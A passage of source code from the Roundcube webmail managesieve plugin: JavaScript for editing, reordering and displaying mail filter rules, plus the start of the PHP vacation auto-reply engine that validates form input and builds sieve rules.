        var elem = $('tr:visible', list.list).get(o.index);
        row.insertBefore(elem);
      }

      list.select(id);

      // Fix dragging filters over sets list
      this.managesieve_fixdragend(row);

      break;

    case 'refresh':
      this.reset_filters_list(true);
      break;
  }

  this.set_busy(false);
};

// Resets filters list state
rcube_webmail.prototype.reset_filters_list = function(reload)
{
  this.filters_list.clear_selection();
  this.enable_command('plugin.managesieve-act', 'plugin.managesieve-del', false);

  if (reload) {
    var id = this.filtersets_list.get_single_selection();

    this.filters_list.clear(true);
    this.managesieve_list(this.env.filtersets[id]);
  }
};

// load filter frame
rcube_webmail.prototype.load_managesieveframe = function(add_url, reset)
{
  if (reset)
    this.reset_filters_list();

  var target = this.get_frame_window(this.env.contentframe),
    url = this.url('plugin.managesieve-action', '_framed=1' + (add_url ? ('&' + add_url) : ''));

  if (target) {
    this.location_href(url, target, true);
  }
};

// load filter frame
rcube_webmail.prototype.managesieve_dragstart = function(list)
{
  var id = this.filters_list.get_single_selection();

  this.drag_active = true;
  this.drag_filter = id;
};

rcube_webmail.prototype.managesieve_dragend = function(e)
{
  if (this.drag_active) {
    if (this.drag_filter_target) {
      var lock = this.set_busy(true, 'loading');

      this.show_contentframe(false);
      this.http_post('plugin.managesieve-action', '_act=move&_fid='+this.drag_filter
        +'&_to='+this.drag_filter_target, lock);
    }
    this.drag_active = false;
  }
};

// Fixes filters dragging over sets list
// @TODO: to be removed after implementing copying filters
rcube_webmail.prototype.managesieve_fixdragend = function(elem)
{
  var p = this;
  $(elem).on('mouseup' + ((bw.iphone || bw.ipad) ? ' touchend' : ''), function(e) {
    if (p.drag_active)
      p.filters_list.drag_mouse_up(e);
  });
};

rcube_webmail.prototype.managesieve_focus_filter = function(row)
{
  var id = row.id.replace(/^rcmrow/, '');
  if (this.drag_active && id != this.drag_filter) {
    this.drag_filter_target = id;
    $(row.obj).addClass(id < this.drag_filter ? 'filtermoveup' : 'filtermovedown');
  }
};

rcube_webmail.prototype.managesieve_unfocus_filter = function(row)
{
  if (this.drag_active) {
    $(row.obj).removeClass('filtermoveup filtermovedown');
    this.drag_filter_target = null;
  }
};

/*********************************************************/
/*********          Filter Form methods          *********/
/*********************************************************/

// Form submission
rcube_webmail.prototype.managesieve_save = function()
{
  if (this.env.action == 'plugin.managesieve-vacation') {
    var data = $(this.gui_objects.sieveform).serialize();
    this.http_post('plugin.managesieve-vacation', data, this.display_message(this.get_label('managesieve.vacation.saving'), 'loading'));
    return;
  }

  if (this.env.action == 'plugin.managesieve-forward') {
    var data = $(this.gui_objects.sieveform).serialize();
    this.http_post('plugin.managesieve-forward', data, this.display_message(this.get_label('managesieve.forward.saving'), 'loading'));
    return;
  }

  if (this.gui_objects.sieveform) {
    if (parent.rcmail && parent.rcmail.filters_list && this.gui_objects.sieveform.name != 'filtersetform') {
      var id = parent.rcmail.filters_list.get_single_selection();
      if (id != null)
        this.gui_objects.sieveform.elements['_fid'].value = parent.rcmail.filters_list.rows[id].uid;
    }
    this.gui_objects.sieveform.submit();
  }
  else if (this.gui_objects.sievesetrawform) {
    this.gui_objects.sievesetrawform.submit();
  }
};

// Operations on filters form
rcube_webmail.prototype.managesieve_ruleadd = function(id)
{
  this.http_post('plugin.managesieve-action', '_act=ruleadd&_rid='+id);
};

rcube_webmail.prototype.managesieve_rulefill = function(content, id, after)
{
  if (content != '') {
    // create new element
    var div = $('#rules')[0],
      row = $('<div>').attr({'class': 'rulerow', id: 'rulerow'+id})
        .html(content);

    this.managesieve_insertrow(div, row, after);

    // initialize smart list inputs
    $('textarea[data-type="list"]', row).each(function() {
      smart_field_init(this);
    });

    this.managesieve_formbuttons(div);
  }
};

rcube_webmail.prototype.managesieve_ruledel = function(id)
{
  if ($('#ruledel'+id).hasClass('disabled'))
    return;

  this.confirm_dialog(this.get_label('managesieve.ruledeleteconfirm'), 'delete', function(e, ref) {
      var row = document.getElementById('rulerow'+id);
      row.parentNode.removeChild(row);
      ref.managesieve_formbuttons(document.getElementById('rules'));
    });
};

rcube_webmail.prototype.managesieve_actionadd = function(id)
{
  this.http_post('plugin.managesieve-action', '_act=actionadd&_aid='+id);
};

rcube_webmail.prototype.managesieve_actionfill = function(content, id, after)
{
  if (content != '') {
    var div = $('#actions')[0],
      row = $('<div>').attr({'class': 'actionrow', id: 'actionrow'+id})
        .html(content);

    this.managesieve_insertrow(div, row, after);

    // initialize smart list inputs
    $('textarea[data-type="list"]', row).each(function() {
      smart_field_init(this);
    });

    this.managesieve_formbuttons(div);
  }
};

rcube_webmail.prototype.managesieve_actiondel = function(id)
{
  if ($('#actiondel'+id).hasClass('disabled'))
    return;

  this.confirm_dialog(this.get_label('managesieve.actiondeleteconfirm'), 'delete', function(e, ref) {
      var row = document.getElementById('actionrow'+id);
      row.parentNode.removeChild(row);
      ref.managesieve_formbuttons(document.getElementById('actions'));
    });
};

// insert rule/action row in specified place on the list
rcube_webmail.prototype.managesieve_insertrow = function(div, row, after)
{
  var node = $('#' + ($(div).attr('id') == 'rules' ? 'rulerow' : 'actionrow')  + after)[0];

  if (node)
    $(row).insertAfter(node);
  else
    $(div).append(row);

  this.triggerEvent('managesieve.insertrow', {obj: row});
};

// update Delete buttons status
rcube_webmail.prototype.managesieve_formbuttons = function(div)
{
  var buttons = $('a.delete', div);

  buttons.removeClass('disabled');
  if (buttons.length == 1)
    buttons.addClass('disabled');
};

// update vacation addresses field with user identities
rcube_webmail.prototype.managesieve_vacation_addresses = function(id)
{
  var lock = this.set_busy(true, 'loading');
  this.http_post('plugin.managesieve-action', {_act: 'addresses', _aid: id}, lock);
};

// update vacation addresses field with user identities
rcube_webmail.prototype.managesieve_vacation_addresses_update = function(id, addresses)
{
  var field = $('#vacation_addresses,#action_addresses' + (id || ''));
  smart_field_reset(field.get(0), addresses);
};

function rule_header_select(id)
{
  var is_header,
    obj = document.getElementById('header' + id),
    size = document.getElementById('rule_size' + id),
    spamtest = document.getElementById('rule_spamtest' + id),
    msg = document.getElementById('rule_message' + id),
    op = document.getElementById('rule_op' + id),
    header = document.getElementById('custom_header' + id + '_list'),
    custstr = document.getElementById('custom_var' + id + '_list'),
    mod = document.getElementById('rule_mod' + id),
    trans = document.getElementById('rule_trans' + id),
    comp = document.getElementById('rule_comp' + id),
    mime = document.getElementById('rule_mime' + id),
    mime_part = document.getElementById('rule_mime_part' + id),
    datepart = document.getElementById('rule_date_part' + id),
    dateheader = document.getElementById('rule_date_header_div' + id),
    rule = $('#rule_op' + id),
    h = obj.value,
    set = [op, header, custstr, mod, trans, comp, size, mime, mime_part];

  if (h == 'size') {
    if (msg) set.push(msg);
    $.each(set, function() { if (this != window) this.style.display = 'none'; });
    if (spamtest)
      spamtest.style.display = 'none';
    size.style.display = '';
  }
  else if (h == 'spamtest') {
    if (msg) set.push(msg);
    $.each(set, function() { if (this != window) this.style.display = 'none'; });
    if (spamtest)
      spamtest.style.display = '';
    size.style.display = 'none';
  }
  else if (h == 'message' && msg) {
    $.each(set, function() { if (this != window)  this.style.display = 'none'; });
    msg.style.display = '';
  }
  else {
    is_header = h != 'body' && h != 'currentdate' && h != 'date' && h != 'string';
    header.style.display = h != '...' ? 'none' : '';
    custstr.style.display = h != 'string' ? 'none' : '';
    size.style.display = 'none';
    op.style.display = '';
    comp.style.display = '';
    mod.style.display = is_header ? '' : 'none';
    trans.style.display = h == 'body' ? '' : 'none';
    if (spamtest)
      spamtest.style.display = 'none';
    if (mime)
      mime.style.display =  is_header ? '' : 'none';
    if (mime_part)
      mime_part.style.display = is_header ? '' : 'none';
    if (msg)
      msg.style.display = h == 'message' ? '' : 'none';
  }

  if (datepart)
    datepart.style.display = h == 'currentdate' || h == 'date' ? 'inline' : 'none';
  if (dateheader)
    dateheader.style.display = h == 'date' ? '' : 'none';

  $('[value="exists"],[value="notexists"]', rule).prop('disabled', h == 'string');
  if (!rule.val())
    rule.val('contains');

  rule_op_select(op, id, h);
  rule_mod_select(id, h, !is_header);
  rule_mime_select(id);
  if (spamtest)
    rule_spamtest_select(id);

  obj.style.width = h == '...' ? '40px' : '';
};

function rule_op_select(obj, id, header)
{
  var target = document.getElementById('rule_target' + id + '_list');

  if (!header)
    header = document.getElementById('header' + id).value;

  target.style.display = obj.value.match(/^(exists|notexists)$/) || header.match(/^(size|spamtest|message)$/) ? 'none' : '';
};

function rule_trans_select(id)
{
  var obj = document.getElementById('rule_trans_op' + id),
    target = document.getElementById('rule_trans_type' + id);

  target.style.display = obj.value != 'content' ? 'none' : 'inline';
};

function rule_mod_select(id, header, reset)
{
  var obj = document.getElementById('rule_mod_op' + id),
    target = document.getElementById('rule_mod_type' + id),
    duplicate = document.getElementById('rule_duplicate_div' + id),
    index = document.getElementById('rule_index_div' + id);

  if (reset)
    obj.value = '';

  if (!header)
    header = document.getElementById('header' + id).value;

  target.style.display = obj.value != 'address' && obj.value != 'envelope' ? 'none' : '';

  if (index)
    index.style.display = !header.match(/^(body|currentdate|size|spamtest|message|string)$/) && obj.value != 'envelope'  ? '' : 'none';

  if (duplicate)
    duplicate.style.display = header == 'message' ? '' : 'none';
};

function rule_spamtest_select(id)
{
  var obj = document.getElementById('rule_spamtest_op' + id),
    target = document.getElementById('rule_spamtest_target' + id);

  target.style.display = obj.value ? '' : 'none';
  $(obj)[obj.value ? 'removeClass' : 'addClass']('rounded-right');
};

function rule_join_radio(value)
{
  $('#rules').css('display', value == 'any' ? 'none' : 'block');
};

function rule_adv_switch(id, elem)
{
  var elem = $(elem), enabled = elem.hasClass('hide'), adv = $('#rule_advanced'+id);

  if (enabled) {
    adv.get(0).style.display = 'none';
    elem.removeClass('hide').addClass('show');
  }
  else {
    adv.get(0).style.display = '';
    elem.removeClass('show').addClass('hide');
  }
};

function rule_mime_select(id)
{
  var elem = $('#rule_mime_type' + id),
    param_elem = $('#rule_mime_param' + id + '_list');

  if (param_elem.length)
    param_elem[0].style.display = elem.val() == 'param' ? '' : 'none';
};

function action_type_select(id)
{
  var obj = document.getElementById('action_type' + id),
    v = obj.value, enabled = {},
    elems = {
      mailbox: document.getElementById('action_mailbox' + id),
      target: document.getElementById('redirect_target' + id),
      target_area: document.getElementById('action_target_area' + id),
      flags: document.getElementById('action_flags' + id),
      vacation: document.getElementById('action_vacation' + id),
      forward: document.getElementById('action_forward' + id),
      set: document.getElementById('action_set' + id),
      notify: document.getElementById('action_notify' + id),
      addheader: document.getElementById('action_addheader' + id),
      deleteheader: document.getElementById('action_deleteheader' + id)
    };

  if (v == 'fileinto' || v == 'fileinto_copy') {
    enabled.mailbox = 1;
  }
  else if (v == 'redirect' || v == 'redirect_copy') {
    enabled.target = 1;
  }
  else if (v.match(/^reject|ereject$/)) {
    enabled.target_area = 1;
  }
  else if (v.match(/^(add|set|remove)flag$/)) {
    enabled.flags = 1;
  }
  else if (v.match(/^(vacation|forward|set|notify|addheader|deleteheader)$/)) {
    enabled[v] = 1;
  }

  for (var x in elems) {
    if (elems[x])
      elems[x].style.display = !enabled[x] ? 'none' : '';
  }
};

function vacation_action_select()
{
  var selected = $('#vacation_action').val();

  $('#action_target_span')[selected == 'discard' || selected == 'keep' ? 'hide' : 'show']();
};

// Initializes smart list input
function smart_field_init(field)
{
  if (window.UI && UI.smart_field_init)
    return UI.smart_field_init(field);

  var id = field.id + '_list',
    area = $('<span class="listarea"></span>'),
    list = field.value ? field.value.split("\n") : [''];

  if ($('#'+id).length)
    return;

  // add input rows
  $.each(list, function(i, v) {
    area.append(smart_field_row(v, i, field));
  });

  area.attr('id', id);
  field = $(field);

  if (field.attr('disabled'))
    area.hide();
  // disable the original field anyway, we don't want it in POST
  else
    field.prop('disabled', true);

  if (field.data('hidden'))
    area.hide();

  field.after(area);

  if (field.hasClass('error')) {
    area.addClass('error');
    rcmail.managesieve_tip_register([[id, field.data('tip-class'), field.data('tip-msg')]]);
  }
};

function smart_field_row(value, idx, field)
{
  // build row element content
  var input, content = '<span class="listelement">'
      + '<span class="reset"></span><input type="text"></span>',
    elem = $(content),
    attrs = {
      value: value,
      name: field.name + '[]',
      size: $(field).data('size'),
      title: field.title,
      placeholder: $(field).attr('placeholder')
    };

  input = elem.find('input').attr(attrs).keydown(function(e) {
    var input = $(this);

    // element creation event (on Enter)
    if (e.which == 13) {
      var elem = smart_field_row('', (new Date()).getTime(), field);

      input.parent().after(elem);
      $('input', elem).focus();
    }
    // backspace or delete: remove input, focus previous one
    else if ((e.which == 8 || e.which == 46) && input.val() == '') {

      var parent = input.parent(), siblings = parent.parent().children();

      if (siblings.length > 1) {
        if (parent.prev().length)
          parent.prev().children('input').focus();
        else
          parent.next().children('input').focus();

        parent.remove();
        return false;
      }
    }
  });

  // element deletion event
  $('span[class="reset"]', elem).click(function() {
    var span = $(this.parentNode);

    if (span.parent().children().length > 1)
      span.remove();
    else
      $('input', span).val('').focus();
  });

  return elem;
}

// Reset and fill the smart list input with new data
function smart_field_reset(field, data)
{
  if (window.UI && UI.smart_field_reset)
    return UI.smart_field_reset(field, data);

  var id = field.id + '_list',
    list = data.length ? data : [''];
    area = $('#' + id);

  area.empty();

  // add input rows
  $.each(list, function(i, v) {
    area.append(smart_field_row(v, i, field));
  });
}

// Register onmouse(leave/enter) events for tips on specified form element
rcube_webmail.prototype.managesieve_tip_register = function(tips)
{
  if (window.UI && UI.form_errors)
    return UI.form_errors(tips);

  var n, framed = parent.rcmail,
    tip = framed ? parent.rcmail.env.ms_tip_layer : rcmail.env.ms_tip_layer;

  for (n in tips) {
    $('#'+tips[n][0])
      .data('tip-class', tips[n][1])
      .data('tip-msg', tips[n][2])
      .mouseleave(function(e) { tip.hide(); })
      .mouseenter(function(e) {
        var elem = $(this),
          offset = elem.offset(),
          left = offset.left,
          top = offset.top - 12,
          minwidth = elem.width(),
          span = $('<span>').addClass(elem.data('tip-class')).text(elem.data('tip-msg'));

        if (framed) {
          offset = $((rcmail.env.task == 'mail'  ? '#sievefilterform > iframe' : '#filter-box'), parent.document).offset();
          top  += offset.top;
          left += offset.left;
        }

        tip.html('').append(span);
        top -= tip.height();

        tip.css({left: left, top: top, minWidth: (minwidth-2) + 'px'}).show();
      });
  }
};

// format time string
function sieve_formattime(hour, minutes)
{
  var i, c, h, time = '', format = rcmail.env.time_format || 'H:i';

  for (i=0; i<format.length; i++) {
    c = format.charAt(i);
    switch (c) {
      case 'a': time += hour >= 12 ? 'pm' : 'am'; break;
      case 'A': time += hour >= 12 ? 'PM' : 'AM'; break;
      case 'g':
      case 'h':
        h = hour == 0 ? 12 : hour > 12 ? hour - 12 : hour;
        time += (c == 'h' && hour < 10 ? '0' : '') + hour;
        break;
      case 'G': time += hour; break;
      case 'H': time += (hour < 10 ? '0' : '') + hour; break;
      case 'i': time += (minutes < 10 ? '0' : '') + minutes; break;
      case 's': time += '00';
      default: time += c;
    }
  }

  return time;
}

function sieve_form_init()
{
  var form = rcmail.gui_objects.sieveform;

  // resize dialog window
  if (rcmail.env.action == 'plugin.managesieve' && rcmail.env.task == 'mail') {
    parent.rcmail.managesieve_dialog_resize(form);
  }

  $('input[type="text"]', form).first().focus();

  // initialize smart list inputs
  $('textarea[data-type="list"]', form).each(function() {
    smart_field_init(this);
  });

  // initialize rules form(s)
  $('[name^="_header"]', form).each(function() {
    if (/([0-9]+)$/.test(this.id)) {
      rule_header_select(RegExp.$1);
    }
  });

  // enable date pickers on date fields
  if ($.datepicker && rcmail.env.date_format) {
    $.datepicker.setDefaults({
      dateFormat: rcmail.env.date_format,
      changeMonth: true,
      showOtherMonths: true,
      selectOtherMonths: true,
      onSelect: function(dateText) { $(this).focus().val(dateText); }
    });
    $('input.datepicker').datepicker();
  }

  // configure drop-down menu on time input fields based on jquery UI autocomplete
  $('#vacation_timefrom, #vacation_timeto')
    .attr('autocomplete', "off")
    .autocomplete({
      delay: 100,
      minLength: 1,
      source: function(p, callback) {
        var h, result = [];
        for (h = 0; h < 24; h++)
          result.push(sieve_formattime(h, 0));
        result.push(sieve_formattime(23, 59));

        return callback(result);
      },
      open: function(event, ui) {
        // scroll to current time
        var $this = $(this), val = $this.val(),
          widget = $this.autocomplete('widget').css('width', '10em'),
          menu = $this.data('ui-autocomplete').menu;

        if (val && val.length)
          widget.children().each(function() {
            var li = $(this);
            if (li.text().indexOf(val) == 0)
              menu._scrollIntoView(li);
          });
      },
      select: function(event, ui) {
        $(this).val(ui.item.value);
        return false;
      }
    })
    .click(function() {  // show drop-down upon clicks
      $(this).autocomplete('search', $(this).val() || ' ');
    })

  // display advanced controls when contain errors
  $('input.error').each(function() {
    if (String(this.id).match(/([0-9]+)$/)) {
      $('#ruleadv' + RegExp.$1 + '.show').click();
    }
  });
}

/*********************************************************/
/*********        RAW editor methods             *********/
/*********************************************************/

var cmeditor;

function cmCreateErrorElem(msg)
{
  var marker = document.createElement("div");
  marker.style.color = "#822";
  marker.innerHTML = "●";
  marker.title = msg;

  return marker;
}

function cmScrollToError()
{
  var line = $('.CodeMirror-lines .line-error'),
    scroll = $('.CodeMirror-scroll'),
    h = line.parent();

  scroll.scrollTop(line.offset().top - scroll.offset().top - Math.round(scroll.height()/2));
}

function sieve_raw_editor_init()
{
  var textArea = document.getElementById('rawfiltersettxt');
  if (textArea && !cmeditor) {
    cmeditor = CodeMirror.fromTextArea(textArea, {
      mode: 'sieve',
      lineNumbers: true,
      gutters: ["CodeMirror-linenumbers", "errorGutter"],
      styleActiveLine: true
    });

    // fetching errors from environment and setting the line background
    // and a gutter element with the error message accordingly
    $.each(rcmail.env.sieve_errors || [], function(i, err) {
      var lineNo = Number(err.line) - 1;
      cmeditor.addLineClass(lineNo, 'background', 'line-error');
      cmeditor.setGutterMarker(lineNo, 'errorGutter', cmCreateErrorElem(err.msg));
      if (!i) cmScrollToError();
    });
  }
}


/*********************************************************/
/*********           Mail UI methods             *********/
/*********************************************************/

rcube_webmail.prototype.managesieve_create = function(force)
{
  if (!force && this.env.action != 'show') {
    var uid = this.message_list.get_single_selection(),
      lock = this.set_busy(true, 'loading');

    this.http_post('plugin.managesieve-action', {_uid: uid}, lock);
    return;
  }

  if (!this.env.sieve_headers || !this.env.sieve_headers.length)
    return;

  var i, buttons = {},
    title = this.get_label('managesieve.newfilter'),
    dialog = $('<div id="sievefilterform" class="propform"></div>'),
    props = {minWidth: 600, minHeight: 250, height: 300};


  // build dialog window content
  dialog.append($('<fieldset>')
    .append($('<legend>').text(this.get_label('managesieve.usedata')))
    .append($('<ul class="proplist">'))
  );

  $.each(this.env.sieve_headers, function(i, v) {
    var attr = {type: 'checkbox', name: 'headers[]', id: 'sievehdr' + i, value: i,  checked: true},
      label = rcmail.env.sieve_headers[i][0] + ': ' + rcmail.env.sieve_headers[i][1];

    $('ul', dialog).append($('<li>')
      .append($('<input>').attr(attr))
      .append($('<label>').attr('for', 'sievehdr' + i).text(label))
    );
  });

  // [Next Step] button action
  buttons[this.get_label('managesieve.nextstep')] = function () {
    // check if there's at least one checkbox checked
    var hdrs = $('input[name="headers[]"]:checked', dialog);
    if (!hdrs.length) {
      rcmail.alert_dialog(rcmail.get_label('managesieve.nodata'));
      return;
    }

    // build frame URL
    var url = rcmail.get_task_url('mail');
    url = rcmail.add_url(url, '_action', 'plugin.managesieve');
    url = rcmail.add_url(url, '_framed', 1);

    hdrs.map(function() {
      var val = rcmail.env.sieve_headers[this.value];
      url = rcmail.add_url(url, 'r['+this.value+']', val[0]+':'+val[1]);
    });

    // load form in the iframe
    var buttons = {}, iframe = $('<iframe>').attr({src: url, frameborder: 0});

    // Change [Next Step] button with [Save] button
    buttons[rcmail.get_label('save')] = function() {
      var win = $('iframe', dialog).get(0).contentWindow;
      win.rcmail.managesieve_save();
    };
    buttons[rcmail.get_label('cancel')] = function() { $(this).dialog('destroy'); };

    dialog.dialog('destroy');

    rcmail.env.managesieve_dialog = dialog = rcmail.show_popup_dialog(
      iframe, title, buttons, $.extend(props, {button_classes: ['mainaction save', 'cancel']})
    );
  };

  buttons[this.get_label('cancel')] = function() { $(this).dialog('destroy'); };

  this.env.managesieve_dialog = dialog = this.show_popup_dialog(
    dialog, title, buttons, $.extend(props, {button_classes: ['mainaction next', 'cancel']})
  );
}

rcube_webmail.prototype.managesieve_dialog_close = function()
{
  this.env.managesieve_dialog.dialog('destroy');
}

rcube_webmail.prototype.managesieve_dialog_resize = function(o)
{
  var dialog = this.env.managesieve_dialog,
    win = $(window), form = $(o);
    width = $('fieldset', o).first().width(), // fieldset width is more appropriate here
    height = form.height(),
    w = win.width(), h = win.height();

  if (height < 100)
    return;

  dialog.dialog('option', { height: Math.min(h-20, height+120), width: Math.min(w-20, width+65) });
}
PKh�\�A�Fƕƕ:plugins/managesieve/lib/Roundcube/rcube_sieve_vacation.phpnu�[���<?php

/**
 * Managesieve Vacation Engine
 *
 * Engine part of Managesieve plugin implementing UI and backend access.
 *
 * Copyright (C) Kolab Systems AG
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_sieve_vacation extends rcube_sieve_engine
{
    protected $error;
    protected $script_name;
    protected $vacation = [];

    function actions()
    {
        $error = $this->start('vacation');

        // find current vacation rule
        if (!$error) {
            $this->vacation_rule();
            $this->vacation_post();
        }

        $this->plugin->add_label('vacation.saving');
        $this->rc->output->add_handlers([
                'vacationform' => [$this, 'vacation_form'],
        ]);

        $this->rc->output->set_pagetitle($this->plugin->gettext('vacation'));
        $this->rc->output->send('managesieve.vacation');
    }

    /**
     * Find and load sieve script with/for vacation rule
     *
     * @param string $script_name Optional script name
     *
     * @return int Connection status: 0 on success, >0 on failure
     */
    protected function load_script($script_name = null)
    {
        if ($this->script_name !== null) {
            return 0;
        }

        $list     = $this->list_scripts();
        $master   = $this->rc->config->get('managesieve_kolab_master');
        $included = [];

        $this->script_name = false;

        // first try the active script(s)...
        if (!empty($this->active)) {
            // Note: there can be more than one active script on KEP:14-enabled server
            foreach ($this->active as $script) {
                if ($this->sieve->load($script)) {
                    foreach ($this->sieve->script->as_array() as $rule) {
                        if (!empty($rule['actions'])) {
                            $action = $rule['actions'][0];
                            if ($action['type'] == 'vacation') {
                                $this->script_name = $script;
                                return 0;
                            }
                            else if (empty($master) && empty($action['global']) && $action['type'] == 'include') {
                                $included[] = $action['target'];
                            }
                        }
                    }
                }
            }

            // ...else try scripts included in active script (not for KEP:14)
            foreach ($included as $script) {
                if ($this->sieve->load($script)) {
                    foreach ($this->sieve->script->as_array() as $rule) {
                        if (!empty($rule['actions']) && $rule['actions'][0]['type'] == 'vacation') {
                            $this->script_name = $script;
                            return 0;
                        }
                    }
                }
            }
        }

        // try all other scripts
        if (!empty($list)) {
            // else try included scripts
            foreach (array_diff($list, $included, $this->active) as $script) {
                if ($this->sieve->load($script)) {
                    foreach ($this->sieve->script->as_array() as $rule) {
                        if (!empty($rule['actions']) && $rule['actions'][0]['type'] == 'vacation') {
                            $this->script_name = $script;
                            return 0;
                        }
                    }
                }
            }

            // none of the scripts contains existing vacation rule
            // use any (first) active or just existing script (in that order)
            if (!empty($this->active)) {
                $this->sieve->load($this->script_name = $this->active[0]);
            }
            else {
                $this->sieve->load($this->script_name = $list[0]);
            }
        }

        return $this->sieve->error();
    }

    protected function vacation_rule()
    {
        if ($this->script_name === false || $this->script_name === null || !$this->sieve->load($this->script_name)) {
            return;
        }

        $list   = [];
        $active = in_array($this->script_name, $this->active);

        // find (first) vacation rule
        foreach ($this->script as $idx => $rule) {
            if (empty($this->vacation) && !empty($rule['actions']) && $rule['actions'][0]['type'] == 'vacation') {
                $action = 'keep';
                $target = null;

                foreach ($rule['actions'] as $act) {
                    if ($act['type'] == 'discard' || $act['type'] == 'keep') {
                        $action = $act['type'];
                    }
                    else if ($act['type'] == 'redirect') {
                        $action = $act['copy'] ? 'copy' : 'redirect';
                        $target = $act['target'];
                    }
                }

                $this->vacation = array_merge($rule['actions'][0], [
                        'idx'      => $idx,
                        'disabled' => $rule['disabled'] || !$active,
                        'name'     => $rule['name'],
                        'tests'    => $rule['tests'],
                        'action'   => $action,
                        'target'   => $target,
                ]);
            }
            else if ($active) {
                $list[$idx] = $rule['name'] ?: ('#' . ($idx + 1));
            }
        }

        $this->vacation['list'] = $list;
    }

    protected function vacation_post()
    {
        if (empty($_POST)) {
            return;
        }

        $date_extension  = in_array('date', $this->exts);
        $regex_extension = in_array('regex', $this->exts);

        // set user's timezone
        try {
            $timezone = new DateTimeZone($this->rc->config->get('timezone', 'GMT'));
        }
        catch (Exception $e) {
            $timezone = new DateTimeZone('GMT');
        }

        $status        = rcube_utils::get_input_string('vacation_status', rcube_utils::INPUT_POST);
        $from          = rcube_utils::get_input_string('vacation_from', rcube_utils::INPUT_POST, true);
        $subject       = rcube_utils::get_input_string('vacation_subject', rcube_utils::INPUT_POST, true);
        $reason        = rcube_utils::get_input_string('vacation_reason', rcube_utils::INPUT_POST, true);
        $addresses     = rcube_utils::get_input_value('vacation_addresses', rcube_utils::INPUT_POST, true);
        $interval      = rcube_utils::get_input_string('vacation_interval', rcube_utils::INPUT_POST);
        $interval_type = rcube_utils::get_input_string('vacation_interval_type', rcube_utils::INPUT_POST);
        $date_from     = rcube_utils::get_input_string('vacation_datefrom', rcube_utils::INPUT_POST);
        $date_to       = rcube_utils::get_input_string('vacation_dateto', rcube_utils::INPUT_POST);
        $time_from     = rcube_utils::get_input_string('vacation_timefrom', rcube_utils::INPUT_POST);
        $time_to       = rcube_utils::get_input_string('vacation_timeto', rcube_utils::INPUT_POST);
        $after         = rcube_utils::get_input_string('vacation_after', rcube_utils::INPUT_POST);
        $action        = rcube_utils::get_input_string('vacation_action', rcube_utils::INPUT_POST);
        $target        = rcube_utils::get_input_string('action_target', rcube_utils::INPUT_POST, true);
        $target_domain = rcube_utils::get_input_string('action_domain', rcube_utils::INPUT_POST);

        $interval_type                   = $interval_type == 'seconds' ? 'seconds' : 'days';
        $vacation_action['type']         = 'vacation';
        $vacation_action['reason']       = $this->strip_value(str_replace("\r\n", "\n", $reason), true);
        $vacation_action['subject']      = trim($subject);
        $vacation_action['from']         = trim($from);
        $vacation_action['addresses']    = $addresses;
        $vacation_action[$interval_type] = $interval;
        $vacation_tests                  = !empty($this->vacation['tests']) ? $this->vacation['tests'] : [];

        foreach ((array) $vacation_action['addresses'] as $aidx => $address) {
            $vacation_action['addresses'][$aidx] = $address = trim($address);

            if (empty($address)) {
                unset($vacation_action['addresses'][$aidx]);
            }
            else if (!rcube_utils::check_email($address)) {
                $error = 'noemailwarning';
                break;
            }
        }

        if (!empty($vacation_action['from'])) {
            // According to RFC5230 the :from string must specify a valid [RFC2822] mailbox-list
            // we'll try to extract addresses and validate them separately
            $from = rcube_mime::decode_address_list($vacation_action['from'], null, true, RCUBE_CHARSET);
            foreach ((array) $from as $idx => $addr) {
                if (empty($addr['mailto']) || !rcube_utils::check_email($addr['mailto'])) {
                    $error = $from_error = 'noemailwarning';
                    break;
                }
                else {
                    $from[$idx] = format_email_recipient($addr['mailto'], $addr['name']);
                }
            }

            // Only one address is allowed (at least on cyrus imap)
            if (is_array($from) && count($from) > 1) {
                $error = $from_error = 'noemailwarning';
            }

            // Then we convert it back to RFC2822 format
            if (empty($from_error) && !empty($from)) {
                $vacation_action['from'] = Mail_mimePart::encodeHeader(
                    'From', implode(', ', $from), RCUBE_CHARSET, 'base64', '');
            }
        }

        if ($vacation_action['reason'] == '') {
            $error = 'managesieve.emptyvacationbody';
        }

        if ($vacation_action[$interval_type] && !preg_match('/^[0-9]+$/', $vacation_action[$interval_type])) {
            $error = 'managesieve.forbiddenchars';
        }

        // find and remove existing date/regex/true rules
        foreach ((array) $vacation_tests as $idx => $t) {
            if ($t['test'] == 'currentdate' || $t['test'] == 'true'
                || ($t['test'] == 'header' && $t['type'] == 'regex' && $t['arg1'] == 'received')
            ) {
                unset($vacation_tests[$idx]);
            }
        }

        if ($date_extension) {
            $date_format = $this->rc->config->get('date_format', 'Y-m-d');
            foreach (['date_from', 'date_to'] as $var) {
                $time = ${str_replace('date', 'time', $var)};
                $date = rcube_utils::format_datestr($$var, $date_format);
                $date = trim($date . ' ' . $time);

                if ($date && ($dt = rcube_utils::anytodatetime($date, $timezone))) {
                    if ($time) {
                        $vacation_tests[] = [
                            'test' => 'currentdate',
                            'part' => 'iso8601',
                            'type' => 'value-' . ($var == 'date_from' ? 'ge' : 'le'),
                            'zone' => $dt->format('O'),
                            'arg'  => str_replace('+00:00', 'Z', strtoupper($dt->format('c'))),
                        ];
                    }
                    else {
                        $vacation_tests[] = [
                            'test' => 'currentdate',
                            'part' => 'date',
                            'type' => 'value-' . ($var == 'date_from' ? 'ge' : 'le'),
                            'zone' => $dt->format('O'),
                            'arg'  => $dt->format('Y-m-d'),
                        ];
                    }
                }
            }
        }
        else if ($regex_extension) {
            // Add date range rules if range specified
            if ($date_from && $date_to) {
                if ($tests = self::build_regexp_tests($date_from, $date_to, $error)) {
                    $vacation_tests = array_merge($vacation_tests, $tests);
                }
            }
        }

        if ($action == 'redirect' || $action == 'copy') {
            if ($target_domain) {
                $target .= '@' . $target_domain;
            }

            if (empty($target) || !rcube_utils::check_email($target)) {
                $error = 'noemailwarning';
            }
        }

        if (empty($vacation_tests)) {
            $vacation_tests = (array) $this->rc->config->get('managesieve_vacation_test', [['test' => 'true']]);
        }

        if (empty($error)) {
            $rule               = $this->vacation;
            $rule['type']       = 'if';
